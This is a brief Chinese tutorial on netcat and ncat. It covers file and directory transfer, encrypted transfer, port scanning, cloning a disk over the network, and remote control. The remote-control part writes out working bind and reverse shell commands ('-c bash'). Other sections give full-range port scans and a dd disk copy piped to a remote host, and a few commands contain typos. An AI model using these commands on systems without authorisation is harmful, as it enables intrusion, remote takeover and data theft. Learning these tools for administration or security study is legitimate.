NC与NCat

NC

NC的一些功能：

侦听模式 / 传输模式
telnet / 获取banner信息
传输文本信息
传输文件/目录
加密传输文文件
远程控制/木马
加密所有流量
流媒体服务器
远程克隆硬盘

• 传输文件

  A: nc -lp 333 > 1.mp4
  B: nc -nv 1.1.1.1 333 < 1.mp4 -q 1
  或
  A: nc - q 1 -lp 333 < a.mp4
  B: nc -nv 1.1.1.1 333 > 2．mp4

• 传输目录

  A ： tar -cvf - music/ | nc -lp 333 —q 1
  B ： nc-nv 1.1.1.1 333 | tar -xvf-

• 加密传输文件
  命令用到的参数有，--flush 立即冲洗输出，-F 输出数据，-b 不保留算法信息，-q 关闭一些非严重的警告，-d 解密

  A ： nc -lp 333 | mcrypt -flush -Fbqd -a rijndael-256 -m ecb > 1.mp4
  B : mcrypt --flush -Fbq -a rijndael-256 -m ecb < a.mp4 | nc -nv 1.1.1.1 333-q 1

• 扫描端口

  nc -nvz 1.1.1.1 1-65535

  所有端口全扫一遍，默认探测TCP端口
  nc -nvzu 1.1.1.1 1-65535
  所有端口全扫一遍，默认探测UDP端口， 1-65535表示扫面端口的范围

• 远程克隆硬盘

  A： nc -lp 333 | dd of=/dev/sda
  B: dd if=/dev/sda | nc -nv 1.1.1.1 333 -q 1

• 远程控制

         方法一：在服务器端：nc -lp 333（打开的端口）
                         在客户端：nc -nv （服务器IP） 333 -c bash
                         将客户端的bash传给了服务器
          方法二：在服务器端：nc -lp 333（打开的端口）-c bash
                          在客户端：nc -nv （服务器IP） 333   
     将服务器端的bash传给了客户端
    

NCat

功能：用来弥补NC缺乏加密、身份验证的能力
服务器端侦听333端口：
Ncat -c bash --allow 192.168.1.119(IP) -nvl 333 --ssl
             （身份验证）允许此IP来连接我                   使用ssl来加密
客户端：

Ncat -nv 192.168.1.115 333 --ssl